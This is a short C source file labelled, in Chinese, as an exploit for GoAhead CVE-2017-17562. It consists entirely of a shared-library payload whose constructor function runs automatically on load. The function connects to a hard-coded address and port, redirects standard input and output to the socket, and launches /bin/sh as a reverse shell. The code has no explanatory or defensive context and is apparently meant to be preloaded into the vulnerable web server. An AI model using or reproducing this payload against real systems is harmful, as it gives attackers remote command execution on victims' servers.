Goahead 利用 CVE-2017-17562

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define REMOTE_ADDR "172.17.0.1"
#define REMOTE_PORT 4444

static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
struct sockaddr_in sa;
int s;

sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);

s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);

execve("/bin/sh", 0, 0);
write(1, "Hello: World!\n", 14);
}